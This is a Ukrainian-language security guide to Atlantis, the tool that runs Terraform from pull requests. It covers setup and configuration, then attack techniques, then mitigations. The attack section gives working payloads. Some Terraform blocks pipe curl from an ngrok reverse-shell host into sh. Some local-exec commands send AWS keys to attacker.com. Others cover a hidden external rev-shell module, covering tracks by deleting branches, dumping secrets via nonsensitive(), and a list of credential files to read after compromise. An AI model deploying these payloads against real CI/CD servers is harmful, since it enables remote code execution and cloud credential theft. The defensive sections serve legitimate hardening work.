Atlantis Security

Reading time: 16 minutes

Basic Information

Atlantis в основному допомагає вам запускати terraform з Pull Requests з вашого git сервера.

Local Lab

1. Перейдіть на сторінку релізів atlantis в https://github.com/runatlantis/atlantis/releases і завантажте ту, яка вам підходить.
2. Створіть персональний токен (з доступом до репозиторіїв) вашого github користувача.
3. Виконайте ./atlantis testdrive, і він створить демо репозиторій, який ви можете використовувати для взаємодії з atlantis.
4. Ви можете отримати доступ до веб-сторінки за адресою 127.0.0.1:4141.

Atlantis Access

Git Server Credentials

Atlantis підтримує кілька git хостів, таких як Github, Gitlab, Bitbucket та Azure DevOps.
Однак, щоб отримати доступ до репозиторіїв на цих платформах і виконувати дії, потрібно надати деякий привілейований доступ (принаймні права на запис).
Документація рекомендує створити користувача на цих платформах спеціально для Atlantis, але деякі люди можуть використовувати особисті акаунти.

Webhooks

Atlantis за бажанням використовує Webhook secrets для перевірки, що webhooks, які він отримує від вашого Git хоста, є легітимними.

Один зі способів підтвердити це - дозволити запити лише з IP-адрес вашого Git хоста, але простіший спосіб - використовувати Webhook Secret.

Зверніть увагу, що якщо ви не використовуєте приватний сервер github або bitbucket, вам потрібно буде відкрити веб-хуки для Інтернету.

Provider Credentials

З документації:

Atlantis запускає Terraform, просто виконуючи команди terraform plan та apply на сервері, на якому розміщено Atlantis. Так само, як і при запуску Terraform локально, Atlantis потребує облікових даних для вашого конкретного провайдера.

Вам вирішувати, як ви надаєте облікові дані для вашого конкретного провайдера в Atlantis:

• Helm Chart Atlantis Helm Chart та AWS Fargate Module мають свої механізми для облікових даних провайдера. Читайте їх документацію.
• Якщо ви запускаєте Atlantis у хмарі, багато хмар мають способи надати доступ до API хмари для додатків, що працюють на них, наприклад:
• AWS EC2 Roles (Шукайте "EC2 Role")
• GCE Instance Service Accounts
• Багато користувачів встановлюють змінні середовища, наприклад, AWS_ACCESS_KEY, де працює Atlantis.
• Інші створюють необхідні конфігураційні файли, наприклад, ~/.aws/credentials, де працює Atlantis.
• Використовуйте HashiCorp Vault Provider для отримання облікових даних провайдера.

Web Page

За замовчуванням Atlantis запустить веб-сторінку на порту 4141 на localhost. Ця сторінка просто дозволяє вам увімкнути/вимкнути atlantis apply і перевірити статус плану репозиторіїв та розблокувати їх (вона не дозволяє вносити зміни, тому не є дуже корисною).

Ви, напевно, не знайдете її відкритою для Інтернету, але здається, що за замовчуванням жодні облікові дані не потрібні для доступу до неї (а якщо потрібні, то atlantis:atlantis є за замовчуванням).

Server Configuration

Конфігурацію для atlantis server можна вказати через командні рядки, змінні середовища, конфігураційний файл або комбінацію трьох.

• Ви можете знайти список прапорців, підтримуваних сервером Atlantis.
• Ви можете знайти інформацію про те, як перетворити параметр конфігурації на змінну середовища.

Значення вибираються в такому порядку:

1. Прапорці
2. Змінні середовища
3. Конфігураційний файл

Repos Configuration

Деякі конфігурації впливають на те, як керуються репозиторії. Однак можливо, що кожен репозиторій вимагатиме різних налаштувань, тому є способи вказати кожен репозиторій. Це порядок пріоритету:

1. Репозиторій /atlantis.yml файл. Цей файл можна використовувати для вказівки, як atlantis повинен обробляти репозиторій. Однак за замовчуванням деякі ключі не можуть бути вказані тут без деяких прапорців, що дозволяють це.
2. Ймовірно, потрібно дозволити прапорцями, такими як allowed_overrides або allow_custom_workflows.
3. Конфігурація на стороні сервера: Ви можете передати її з прапорцем --repo-config, і це yaml, що конфігурує нові налаштування для кожного репозиторію (підтримуються regex).
4. Значення за замовчуванням.

PR Protections

Atlantis дозволяє вказати, чи хочете ви, щоб PR був схвалений кимось іншим (навіть якщо це не встановлено в захисті гілки) і/або бути злитим (захисти гілки пройдені) перед виконанням apply. З точки зору безпеки, рекомендується встановити обидва параметри.

У разі, якщо allowed_overrides є True, ці налаштування можуть бути перезаписані в кожному проекті файлом /atlantis.yml.

Scripts

Конфігурація репозиторію може вказувати скрипти для виконання перед (pre workflow hooks) та після (post workflow hooks) виконання робочого процесу.

Не існує жодної опції, яка дозволяє вказувати ці скрипти у репозиторії /atlantis.yml.

Workflow

У конфігурації репозиторію (конфігурація на стороні сервера) ви можете вказати новий робочий процес за замовчуванням або створити нові користувацькі робочі процеси. Ви також можете вказати, які репозиторії можуть отримати доступ до нових згенерованих.
Тоді ви можете дозволити файлу atlantis.yaml кожного репозиторію вказувати робочий процес для використання.

# atlantis.yaml

version: 3
projects:

- dir: .
  workflow: custom1
  workflows:
  custom1:
  plan:
  steps: - init - run: my custom plan command
  apply:
  steps: - run: my custom apply command

Conftest Policy Checking

Atlantis підтримує виконання політик conftest на стороні сервера проти виходу плану. Загальні випадки використання цього кроку включають:

• Заборону використання списку модулів
• Підтвердження атрибутів ресурсу під час створення
• Виявлення ненавмисних видалень ресурсів
• Запобігання ризикам безпеки (наприклад, відкриття безпечних портів для публіки)

Ви можете перевірити, як це налаштувати в документації.

Atlantis Commands

У документації ви можете знайти опції, які ви можете використовувати для запуску Atlantis:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Атаки

Ви можете виправити це, запустивши:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis plan RCE - Зміна конфігурації в новому PR

Якщо у вас є права на запис у репозиторій, ви зможете створити нову гілку та згенерувати PR. Якщо ви можете виконати atlantis plan (або, можливо, це виконується автоматично) ви зможете RCE всередині сервера Atlantis.

Ви можете зробити це, змусивши Atlantis завантажити зовнішнє джерело даних. Просто вставте корисне навантаження, як показано нижче, у файл main.tf:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Стійкіший напад

Ви можете виконати цей напад навіть стійнкішим способом, дотримуючись цих порад:

• Замість того, щоб додавати rev shell безпосередньо у файл terraform, ви можете завантажити зовнішній ресурс, який містить rev shell:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Ви можете знайти код rev shell за адресою https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

• У зовнішньому ресурсі використовуйте функцію ref, щоб приховати код terraform rev shell у гілці всередині репозиторію, щось на зразок: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
• Замість того, щоб створювати PR до master, щоб активувати Atlantis, створіть 2 гілки (test1 і test2) і створіть PR з однієї на іншу. Коли ви завершите атаку, просто видаліть PR і гілки.

Atlantis план Скидання Секретів

Ви можете скинути секрети, використані terraform, запустивши atlantis plan (terraform plan), вставивши щось на зразок цього у файл terraform:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis застосування RCE - Модифікація конфігурації в новому PR

Якщо у вас є права на запис у репозиторії, ви зможете створити нову гілку та згенерувати PR. Якщо ви можете виконати atlantis apply, ви зможете RCE всередині сервера Atlantis.

Однак вам зазвичай потрібно буде обійти деякі захисти:

• Mergeable: Якщо цей захист встановлений в Atlantis, ви можете виконати atlantis apply лише якщо PR є mergeable (що означає, що захист гілки потрібно обійти).
• Перевірте потенційні обходи захисту гілок
• Approved: Якщо цей захист встановлений в Atlantis, деякий інший користувач повинен затвердити PR перед тим, як ви зможете виконати atlantis apply
• За замовчуванням ви можете зловживати токеном Gitbot для обходу цього захисту

Виконання terraform apply на шкідливому файлі Terraform з local-exec.
Вам просто потрібно переконатися, що деякий payload, як наведені нижче, закінчується у файлі main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Слідуйте рекомендаціям з попередньої техніки, щоб виконати цю атаку більш приховано.

Впровадження параметрів Terraform

Коли ви виконуєте atlantis plan або atlantis apply, terraform виконується під час, ви можете передавати команди terraform з atlantis, коментуючи щось на кшталт:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Щось, що ви можете передати, це змінні середовища, які можуть бути корисними для обходу деяких захистів. Перевірте змінні середовища terraform у https://www.terraform.io/cli/config/environment-variables

Користувацький робочий процес

Виконання зловмисних користувацьких команд збірки, зазначених у файлі atlantis.yaml. Atlantis використовує файл atlantis.yaml з гілки запиту на злиття, а не з master.
Цю можливість було згадано в попередньому розділі:

# atlantis.yaml
version: 3
projects:
  - dir: .
    workflow: custom1
workflows:
  custom1:
    plan:
      steps:
        - init
        - run: my custom plan command
    apply:
      steps:
        - run: my custom apply command

Обхід захистів плану/застосування

Якщо прапор конфігурації на стороні сервера allowed_overrides має налаштовані apply_requirements, можливо, що репозиторій може модифікувати захисти плану/застосування для їх обходу.

repos:
- id: /.*/
apply_requirements: []

PR Hijacking

Якщо хтось надішле atlantis plan/apply коментарі до ваших дійсних pull requests, це призведе до запуску terraform, коли ви цього не хочете.

Більше того, якщо у вас не налаштовано захист гілок для запиту на повторну оцінку кожного PR, коли новий коміт додається до нього, хтось може написати шкідливі конфігурації (перевірте попередні сценарії) у конфігурації terraform, запустити atlantis plan/apply і отримати RCE.

Це налаштування у захисті гілок Github:

Webhook Secret

Якщо вам вдасться викрасти секрет вебхука або якщо не використовується жоден секрет вебхука, ви зможете викликати вебхук Atlantis і виконати команди atlatis безпосередньо.

Bitbucket

Bitbucket Cloud не підтримує секрети вебхуків. Це може дозволити зловмисникам підробляти запити з Bitbucket. Переконайтеся, що ви дозволяєте лише IP-адреси Bitbucket.

• Це означає, що зловмисник може надсилати фальшиві запити до Atlantis, які виглядають так, ніби вони надходять з Bitbucket.
• Якщо ви вказуєте --repo-allowlist, то вони можуть підробляти лише запити, що стосуються цих репозиторіїв, тому найбільша шкода, яку вони можуть завдати, буде полягати в плануванні/застосуванні на ваших власних репозиторіях.
• Щоб запобігти цьому, додайте до білого списку IP-адреси Bitbucket (див. вихідні IPv4-адреси).

Post-Exploitation

Якщо вам вдалося отримати доступ до сервера або принаймні ви отримали LFI, є кілька цікавих речей, які ви повинні спробувати прочитати:

• /home/atlantis/.git-credentials Містить облікові дані доступу до vcs
• /atlantis-data/atlantis.db Містить облікові дані доступу до vcs з додатковою інформацією
• /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Файл стану Terraform
• Приклад: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
• /proc/1/environ Змінні середовища
• /proc/[2-20]/cmdline Командний рядок atlantis server (може містити чутливі дані)

Mitigations

Don't Use On Public Repos

Оскільки будь-хто може коментувати публічні pull requests, навіть з усіма доступними заходами безпеки, все ще небезпечно запускати Atlantis на публічних репозиторіях без належної конфігурації налаштувань безпеки.

Don't Use --allow-fork-prs

Якщо ви працюєте з публічним репозиторієм (що не рекомендується, див. вище), вам не слід встановлювати --allow-fork-prs (за замовчуванням false), оскільки будь-хто може відкрити pull request з їхнього форка до вашого репозиторію.

--repo-allowlist

Atlantis вимагає, щоб ви вказали список дозволених репозиторіїв, з яких він прийматиме вебхуки, за допомогою прапора --repo-allowlist. Наприклад:

• Конкретні репозиторії: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests
• Вся ваша організація: --repo-allowlist=github.com/runatlantis/*
• Кожен репозиторій у вашій установці GitHub Enterprise: --repo-allowlist=github.yourcompany.com/*
• Усі репозиторії: --repo-allowlist=*. Корисно, коли ви в захищеній мережі, але небезпечно без також налаштування секрету вебхука.

Цей прапор забезпечує, що ваша установка Atlantis не використовується з репозиторіями, які ви не контролюєте. Дивіться atlantis server --help для отримання додаткової інформації.

Protect Terraform Planning

Якщо зловмисники надсилають pull requests з шкідливим кодом Terraform у вашій моделі загроз, ви повинні бути свідомі того, що схвалення terraform apply недостатньо. Можливо запустити шкідливий код у terraform plan, використовуючи external data source або вказавши шкідливий провайдер. Цей код може потім ексфільтрувати ваші облікові дані.

Щоб запобігти цьому, ви можете:

1. Включити провайдери в образ Atlantis або хостити та заборонити вихід у виробництві.
2. Реалізувати протокол реєстру провайдерів внутрішньо та заборонити публічний вихід, таким чином ви контролюєте, хто має доступ на запис до реєстру.
3. Змінити ваш конфігурацію репозиторію на стороні сервера's plan крок, щоб перевірити використання заборонених провайдерів або джерел даних або PR з не дозволених користувачів. Ви також можете додати додаткову перевірку на цьому етапі, наприклад, вимагати "палець вгору" на PR перед тим, як дозволити plan продовжити. Conftest може бути корисним тут.

Webhook Secrets

Atlantis слід запускати з налаштованими секретами вебхуків через змінні середовища $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET. Навіть з установленим прапором --repo-allowlist, без секрету вебхука, зловмисники можуть надсилати запити до Atlantis, видаючи себе за репозиторій, який є в білому списку. Секрети вебхуків забезпечують, що запити вебхуків дійсно надходять від вашого постачальника VCS (GitHub або GitLab).

Якщо ви використовуєте Azure DevOps, замість секретів вебхуків додайте базове ім'я користувача та пароль.

Azure DevOps Basic Authentication

Azure DevOps підтримує надсилання заголовка базової аутентифікації у всіх подіях вебхуків. Це вимагає використання HTTPS URL для вашого місця розташування вебхука.

SSL/HTTPS

Якщо ви використовуєте секрети вебхуків, але ваш трафік йде через HTTP, то секрети вебхуків можуть бути вкрадені. Увімкніть SSL/HTTPS, використовуючи прапори --ssl-cert-file та --ssl-key-file.

Enable Authentication on Atlantis Web Server

Дуже рекомендується увімкнути аутентифікацію в веб-сервісі. Увімкніть BasicAuth, використовуючи --web-basic-auth=true та налаштуйте ім'я користувача та пароль, використовуючи прапори --web-username=yourUsername та --web-password=yourPassword.

Ви також можете передати їх як змінні середовища ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername та ATLANTIS_WEB_PASSWORD=yourPassword.

References

• https://www.runatlantis.io/docs
• https://www.runatlantis.io/docs/provider-credentials.html